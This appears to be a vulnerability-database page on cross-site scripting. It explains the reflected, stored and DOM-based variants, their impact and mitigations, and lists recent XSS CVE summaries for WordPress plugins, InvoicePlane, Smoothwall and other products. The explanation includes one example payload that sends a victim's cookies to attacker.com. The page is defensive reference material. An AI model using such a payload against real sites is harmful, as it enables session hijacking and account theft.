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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38868)

EPSS 0% CVSS 4.4
MEDIUM This Month

The Easy SVG Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 4.0 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Smartsupp - live chat, AI shopping assistant and chatbots plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'code' parameter in all versions up to, and including, 3.9.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]

WordPress XSS AI / ML +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Renden theme for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.8.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Drift theme for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Aruba HiSpeed Cache plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the dbstatus parameter in all versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM POC PATCH This Month

Stored XSS in InvoicePlane's Sumex invoice view enables authenticated users with invoice management privileges to inject malicious JavaScript that executes in other users' browsers, potentially compromising sessions and enabling data theft. Public exploit code exists for this vulnerability. Version 1.7.1 and later contain the fix.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

InvoicePlane 1.7.0 and earlier contains a stored XSS vulnerability in the Invoice Groups "Identifier Format" field that authenticated users can exploit to inject malicious scripts executed when other users access the invoice list or dashboard. An attacker with invoice group management permissions can inject arbitrary JavaScript that runs in the context of other users' browsers, potentially leading to session hijacking or credential theft. A patch is available in version 1.7.1.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

InvoicePlane 1.7.0 contains a stored XSS vulnerability in the Product Unit Name field that allows authenticated administrators to inject malicious scripts executed when other admins view affected invoices. Public exploit code exists for this vulnerability, though exploitation requires high-privilege administrator access and user interaction. Version 1.7.1 resolves the issue.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

InvoicePlane 1.7.0 contains a stored XSS vulnerability in the Invoice Number field that allows authenticated administrators to inject malicious JavaScript executing in other administrators' browsers when viewing invoices or the dashboard. Public exploit code exists for this vulnerability, which has a CVSS score of 4.8 and can result in data theft or unauthorized actions within the application. A patch is available in version 1.7.1.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

InvoicePlane 1.7.0 contains a stored XSS vulnerability in the Family Name field that executes malicious scripts in administrators' browsers when they access the product form. An authenticated administrator can inject payloads via the family dropdown to compromise other admin sessions. Public exploit code exists for this vulnerability, though a patch is available in version 1.7.1.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 5.7
MEDIUM POC PATCH This Month

Stored XSS via SVG file upload in InvoicePlane 1.7.0 Login Logo functionality allows authenticated administrators to inject persistent malicious scripts, potentially compromising application integrity and enabling unauthorized data modification. Public exploit code exists for this vulnerability, which requires high-level privileges but can lead to persistent backdoors and full application compromise. InvoicePlane 1.7.1 addresses this issue.

Golang XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 7.2
HIGH POC This Week

MajorDomo's shoutbox feature is vulnerable to stored XSS due to unsanitized user input in the /objects/?method= endpoint, allowing unauthenticated attackers to inject malicious scripts that persist in the database. When administrators access the auto-refreshing dashboard, the stored payload executes automatically, enabling session hijacking and cookie theft. Public exploit code exists for this vulnerability, and no patch is currently available.

PHP XSS Majordomo
NVD GitHub
EPSS 0% CVSS 7.2
HIGH POC This Week

MajorDoMo's unauthenticated /objects/?op=set endpoint fails to sanitize property values, allowing remote attackers to inject stored XSS payloads that execute when administrators access the property editor, with public exploit code available. The vulnerability is compounded by session cookies lacking HttpOnly protection, enabling attackers to enumerate properties via the /api.php/data/ endpoint and hijack admin sessions through JavaScript exfiltration.

PHP IoT XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Reflected XSS in MajorDoMo's command.php allows remote attackers to inject arbitrary JavaScript through an unsanitized qry parameter, affecting users who click malicious links. Public exploit code exists for this vulnerability, and no patch is currently available.

PHP XSS Majordomo
NVD GitHub
EPSS 0% CVSS 5.7
MEDIUM POC PATCH This Month

Stored XSS in InvoicePlane 1.7.0's invoice editing function fails to sanitize the invoice_number parameter, allowing authenticated administrators to inject malicious scripts that persist in the application. Public exploit code exists for this vulnerability, enabling attackers with admin access to modify data, create backdoors, and compromise application integrity. Version 1.7.1 addresses this issue.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 5.7
MEDIUM POC PATCH This Month

Stored XSS in InvoicePlane 1.7.0 via malicious SVG file upload in the Invoice Logo function allows authenticated administrators to inject persistent malicious scripts and compromise application integrity. Public exploit code exists for this vulnerability. Version 1.7.1 contains the patch.

Golang XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

IPFire 2.21 Core Update 127 contains multiple reflected cross-site scripting vulnerabilities in the fwhosts.cgi script that allow attackers to inject malicious scripts through multiple parameters including HOSTNAME, IP, SUBNET, NETREMARK, HOSTREMARK, newhost, grp_name, remark, SRV_NAME, SRV_PORT, SRVGRP_NAME, SRVGRP_REMARK, and updatesrvgrp. [CVSS 5.4 MEDIUM]

XSS Ipfire
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

IPFire 2.21 Core Update 127 contains multiple stored cross-site scripting vulnerabilities in the extrahd.cgi script that allow attackers to inject malicious scripts through the FS, PATH, and UUID parameters. [CVSS 6.4 MEDIUM]

XSS Ipfire
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

IPFire 2.21 Core Update 127 contains multiple cross-site scripting vulnerabilities in the ovpnmain.cgi script that allow attackers to inject malicious scripts through VPN configuration parameters. [CVSS 6.1 MEDIUM]

XSS Ipfire
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

IPFire 2.21 Core Update 127 contains multiple reflected cross-site scripting vulnerabilities in the hosts.cgi script that allow attackers to inject malicious scripts through unvalidated parameters. [CVSS 6.1 MEDIUM]

XSS Ipfire
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

IPFire 2.21 Core Update 127 contains a reflected cross-site scripting vulnerability in the updatexlrator.cgi script that allows attackers to inject malicious scripts through POST parameters. [CVSS 6.1 MEDIUM]

XSS Ipfire
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Bematech (formerly Logic Controls, now Elgin) MP-4200 TH printer contains a cross-site scripting vulnerability in the admin configuration page. [CVSS 6.1 MEDIUM]

XSS
NVD Exploit-DB
EPSS 0% CVSS 5.7
MEDIUM POC PATCH This Month

Stored XSS in InvoicePlane 1.7.0's Edit Quotes function allows authenticated administrators to inject malicious scripts via the unvalidated quote_number parameter, enabling persistent code execution and data manipulation. Public exploit code exists for this vulnerability, which could lead to unauthorized modification of invoices, creation of backdoors, and complete compromise of application integrity. Version 1.7.1 addresses this flaw.

XSS Invoiceplane
NVD GitHub
EPSS 0% CVSS 8.0
HIGH PATCH This Week

Jenkins versions 2.483-2.550 and LTS 2.492.1-2.541.1 contain a stored XSS vulnerability in the agent offline cause description field that fails to properly sanitize user input. Attackers with Agent/Configure or Agent/Disconnect permissions can inject malicious scripts that execute in the browsers of other users viewing the affected agent configuration. No patch is currently available for this vulnerability.

Jenkins XSS Red Hat
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Ultimate Member WordPress plugin through version 2.11.1 contains a reflected XSS vulnerability in filter parameters that lack proper input sanitization and output escaping. Unauthenticated attackers can inject malicious scripts into pages by crafting malicious links and convincing users to click them. Successful exploitation results in arbitrary JavaScript execution in the context of the affected user's browser session.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Graylog Web Interface 2.2.3 contains a reflected XSS vulnerability in the /system/index_sets/ endpoint where unsanitized URL parameters are echoed into HTML responses, enabling attackers to execute arbitrary JavaScript in users' browsers. An attacker can craft a malicious URL to steal session cookies, hijack user sessions, or perform unauthorized actions within the victim's Graylog interface. No patch is currently available for this vulnerability.

XSS Graylog
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected XSS in Graylog Web Interface version 2.2.3 fails to properly sanitize user-supplied input in the /system/pipelines/ endpoint, enabling attackers to inject malicious JavaScript through specially crafted URLs. An attacker can execute arbitrary scripts in a victim's browser and potentially hijack user sessions when the victim visits a malicious link. No patch is currently available for this vulnerability.

XSS Graylog
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Graylog Web Interface 2.2.3 contains a reflected XSS vulnerability in the /alerts/ endpoint where unencoded URL parameters are reflected in HTML responses, enabling attackers to execute arbitrary JavaScript in a victim's browser through malicious links. Successful exploitation allows session hijacking and limited account manipulation when users click crafted URLs. No patch is currently available for this vulnerability.

XSS Graylog
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Graylog Web Interface 2.2.3 contains a reflected XSS vulnerability in the /system/nodes/ endpoint where unescaped URL parameters are reflected in HTML responses, enabling attackers to execute arbitrary JavaScript in a victim's browser. An attacker can craft a malicious URL to steal session credentials or manipulate user actions within the affected Graylog instance when a user clicks the link. No patch is currently available for this vulnerability.

XSS Graylog
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected XSS in Graylog 2.2.3's web interface allows remote attackers to execute arbitrary JavaScript in a victim's browser by crafting malicious URLs that bypass HTML output sanitization, particularly through the user edit endpoint. An attacker can exploit this to perform session hijacking or manipulate user context with no user interaction required beyond visiting a crafted link. No patch is currently available for this vulnerability.

XSS Graylog
NVD
EPSS 0% CVSS 6.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Key Software Solutions Inc. [CVSS 6.3 MEDIUM]

XSS
NVD VulDB
EPSS 0%
POC This Week

Cross-site scripting in REST Management Interface in Payara Server <4.1.2.191.54, <5.83.0, <6.34.0, <7.2026.1 allows an attacker to mislead the administrator to change the admin password via URL Payload.

XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Video Share VOD - Turnkey Video Site Builder Script plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 2.7.11 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Complianz - GDPR/CCPA Cookie Consent plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cmplz-accept-link shortcode in all versions up to, and including, 7.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in WP Event Aggregator plugin through version 1.8.7 allows authenticated contributors and above to inject malicious scripts via the wp_events shortcode due to inadequate input sanitization. When site visitors access pages containing the injected payload, the scripts execute in their browsers, potentially compromising user sessions and data. No patch is currently available, leaving affected WordPress installations vulnerable.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Stored XSS in WordPress Community Events plugin through the 'ce_venue_name' parameter allows authenticated administrators to inject malicious scripts that execute for all users viewing affected pages. The vulnerability exists in versions up to 1.5.7 due to inadequate input sanitization and output escaping, with no patch currently available.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Stored XSS in YayMail plugin for WordPress (versions up to 4.3.2) allows authenticated Shop Manager-level users to inject malicious scripts through inadequately sanitized settings, affecting multi-site installations or those with disabled unfiltered_html. Attackers can execute arbitrary JavaScript in pages viewed by other users, though exploitation requires elevated privileges and specific WordPress configurations. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Stored XSS in WordPress Private Comment plugin up to version 0.0.4 allows authenticated administrators to inject malicious scripts via the label text setting due to inadequate input sanitization and output escaping. The injected scripts execute in the browsers of users viewing affected pages, impacting multi-site WordPress installations or those with unfiltered_html disabled. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

InteractiveCalculator for WordPress (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.4).

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Download Manager plugin for WordPress through version 3.3.46 contains a reflected XSS vulnerability in the 'redirect_to' parameter that allows unauthenticated attackers to inject malicious scripts. An attacker can exploit this by crafting a malicious link that, when clicked by a victim, executes arbitrary JavaScript in their browser session. No patch is currently available for this vulnerability.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Stored Cross-Site Scripting in the Membership Plugin for WordPress versions up to 3.2.18 allows authenticated administrators to inject malicious scripts into invoice settings fields due to inadequate input sanitization. When other users access pages containing the injected code, the scripts execute in their browsers, potentially compromising their sessions or stealing sensitive data. Exploitation requires administrator-level access and no patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Popup Box - Easily Create WordPress Popups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'iframeBox' shortcode in all versions up to, and including, 3.2.12 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

VK All in One Expansion Unit (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.4).

WordPress XSS PHP
NVD
EPSS 0% CVSS 7.2
HIGH This Week

Stored cross-site scripting in the Rent Fetch WordPress plugin through version 0.32.4 allows unauthenticated attackers to inject malicious scripts via inadequately sanitized keyword parameters. When site visitors access pages containing the injected payload, the scripts execute in their browsers, potentially enabling session hijacking, credential theft, or malware distribution. No patch is currently available for this vulnerability.

WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

Display During Conditional Shortcode (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.4).

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Filestack plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'filepicker' shortcode in all versions up to, and including, 2.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

WP 404 Auto Redirect to Similar Post (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 4.4).

WordPress XSS PHP
NVD
EPSS 0%
This Week

Pega Platform versions 8.1.0 through 25.1.1 are affected by a Stored Cross-site Scripting vulnerability in a user interface component. Requires an administrative user and given extensive access rights, impact to Confidentiality and Integrity are low.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

IBM Financial Transaction Manager for ACH Services and Check Services for Multi-Platform 3.0.0.0 versions up to 3.0.5.4 is affected by cross-site scripting (xss) (CVSS 6.1).

IBM XSS
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in Blossom up to 1.17.1. This vulnerability affects the function content of the file blossom-backend/backend/src/main/java/com/blossom/backend/server/article/draft/ArticleController.java of the component Article Title Handler. [CVSS 3.5 LOW]

Java XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored cross-site scripting in Dell Unisphere for PowerMax 9.2.4.x allows authenticated remote attackers to inject malicious scripts that execute in users' browsers, potentially enabling session hijacking or credential theft. The vulnerability requires user interaction and carries a medium severity rating with no patch currently available.

XSS Information Disclosure
NVD
EPSS 0% CVSS 7.1
HIGH This Week

lty628 aidigu v1.9.1 is vulnerable to Cross Site Scripting (XSS) on the /tools/Password/add page in the input field password. [CVSS 7.1 HIGH]

XSS
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Db2 Recovery Expert versions up to 5.5.0 contains a vulnerability that allows attackers to conduct various attacks against the vulnerable system, including cross-site scri (CVSS 6.5).

IBM Linux Windows +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

IBM Concert 1.0.0 through 2.1.0 for Z hub framework is vulnerable to cross-site scripting. [CVSS 6.1 MEDIUM]

IBM XSS Concert
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting in Dell Unisphere for PowerMax vApp 9.2.4.x enables authenticated remote attackers to inject malicious scripts that execute in victim browsers, potentially compromising session tokens or stealing sensitive information. The vulnerability requires user interaction and low-level privileges, but no patch is currently available to address it.

XSS Information Disclosure
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in EKA Software Computer Information Advertising Services Ltd. [CVSS 6.5 MEDIUM]

XSS
NVD VulDB
EPSS 0% CVSS 7.2
HIGH This Week

Reflected XSS in WordPress RSS Aggregator plugin versions up to 5.0.10 allows unauthenticated attackers to inject malicious scripts through the unvalidated 'template' parameter. An attacker can exploit this by crafting a malicious link that, when clicked by a victim, executes arbitrary JavaScript in their browser session. No patch is currently available for this vulnerability.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

Stored XSS in Forminator Forms plugin for WordPress (versions up to 1.50.2) allows authenticated administrators and delegated form managers to inject malicious scripts through the form_name parameter due to inadequate input sanitization. When users access pages containing injected forms, the scripts execute in their browsers, potentially compromising site security and user data. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH POC This Week

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple stored cross-site scripting vulnerabilities in the preferences.cgi script that allow attackers to inject malicious scripts through the HOSTNAME, KEYMAP, and OPENNESS parameters. [CVSS 7.2 HIGH]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 7.2
HIGH POC This Week

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple stored cross-site scripting vulnerabilities in the modem.cgi script that allow attackers to inject malicious scripts through POST parameters. [CVSS 7.2 HIGH]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by exploiting insufficient input validation. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by manipulating the IP parameter. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the interfaces.cgi script that allow attackers to inject malicious scripts through multiple parameters including GREEN_ADDRESS, GREEN_NETMASK, RED_DHCP_HOSTNAME, RED_ADDRESS, DNS1_OVERRIDE, DNS2_OVERRIDE, RED_MAC, RED_NETMASK, DEFAULT_GATEWAY, DNS1, and DNS2. [CVSS 5.4 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by manipulating the MACHINES parameter. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted input to the ipblock.cgi endpoint. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted input to the xtaccess.cgi endpoint. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the dmzholes.cgi script that allow attackers to inject malicious scripts through unvalidated parameters. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts by manipulating the MACHINE and MACHINECOMMENT parameters. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the portfw.cgi script that allow attackers to inject malicious scripts through unvalidated parameters. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the apcupsd.cgi script that allow attackers to inject malicious scripts through multiple POST parameters. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by manipulating the NTP_SERVER parameter. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the hosts.cgi script that allow attackers to inject malicious scripts through unvalidated parameters. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple reflected cross-site scripting vulnerabilities in the dhcp.cgi script that allow attackers to inject malicious scripts through multiple parameters. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 7.2
HIGH POC This Week

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains stored and reflected cross-site scripting vulnerabilities in the urlfilter.cgi endpoint that allow attackers to inject malicious scripts. [CVSS 7.2 HIGH]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple cross-site scripting vulnerabilities in the proxy.cgi endpoint that allow attackers to inject malicious scripts through parameters including CACHE_SIZE, MAX_SIZE, MIN_SIZE, MAX_OUTGOING_SIZE, and MAX_INCOMING_SIZE. [CVSS 6.1 MEDIUM]

XSS Smoothwall Express
NVD Exploit-DB
EPSS 0% CVSS 8.7
HIGH This Week

ENOVIAvpm Web Access versions 1.16 through 1.19 contain a reflected XSS vulnerability that allows authenticated attackers to inject and execute arbitrary JavaScript in a victim's browser session through a crafted URL. The vulnerability requires user interaction to trigger but can lead to session hijacking, credential theft, or malware distribution across the affected organization. No patch is currently available, requiring organizations to implement network-level mitigations or restrict access until a fix is released.

XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

SmarterTools SmarterMail before 9526 allows XSS via MAPI requests. [CVSS 7.2 HIGH]

XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM POC This Month

An issue in Visual Studio Code Extensions Live Server v5.7.9 allows attackers to exfiltrate files via user interaction with a crafted HTML page. [CVSS 4.3 MEDIUM]

XSS Live Server
NVD GitHub
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in cskefu up to 8.0.1. Impacted is the function Upload of the file com/cskefu/cc/controller/resource/MediaController.java of the component File Upload. [CVSS 3.5 LOW]

Java XSS File Upload
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability reflected in Kubysoft, which occurs through multiple parameters within the endpoint ‘/node/kudaby/nodeFN/procedure’. [CVSS 6.1 MEDIUM]

XSS Kubysoft
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored Cross-Site Scripting (XSS) vulnerability in Kubysoft, which is triggered through multiple parameters in the '/kForms/app' endpoint. This issue allows malicious scripts to be injected and executed persistently in the context of users accessing the affected resource. [CVSS 5.4 MEDIUM]

XSS Kubysoft
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored Cross-Site Scripting (XSS) vulnerability in Kubysoft, where uploaded SVG images are not properly sanitized. [CVSS 5.4 MEDIUM]

XSS Kubysoft
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in LigeroSmart up to 6.1.26. The impacted element is the function AgentDashboard of the file /otrs/index.pl. [CVSS 3.5 LOW]

XSS Ligerosmart
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security vulnerability has been detected in LigeroSmart up to 6.1.26. The affected element is an unknown function of the file /otrs/index.pl. [CVSS 3.5 LOW]

XSS Ligerosmart
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A weakness has been identified in LigeroSmart up to 6.1.26. Impacted is an unknown function of the file /otrs/index.pl?Action=AgentTicketSearch. [CVSS 3.5 LOW]

XSS Ligerosmart
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

OPNsense 19.1 contains a reflected cross-site scripting vulnerability in the system_advanced_sysctl.php endpoint that allows attackers to inject malicious scripts via the value parameter. [CVSS 5.4 MEDIUM]

PHP XSS Opnsense
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted payloads through the ignoreLogACL parameter. [CVSS 6.1 MEDIUM]

XSS Opnsense
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted input to the mailserver parameter. [CVSS 6.1 MEDIUM]

XSS Opnsense
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts by exploiting the passthrough_networks parameter in vpn_ipsec_settings.php. [CVSS 6.1 MEDIUM]

PHP XSS Opnsense
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted input to the category parameter. [CVSS 6.4 MEDIUM]

PHP XSS Opnsense
NVD Exploit-DB
Prev Page 41 of 432 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38868

Related CWEs

MITRE ATT&CK

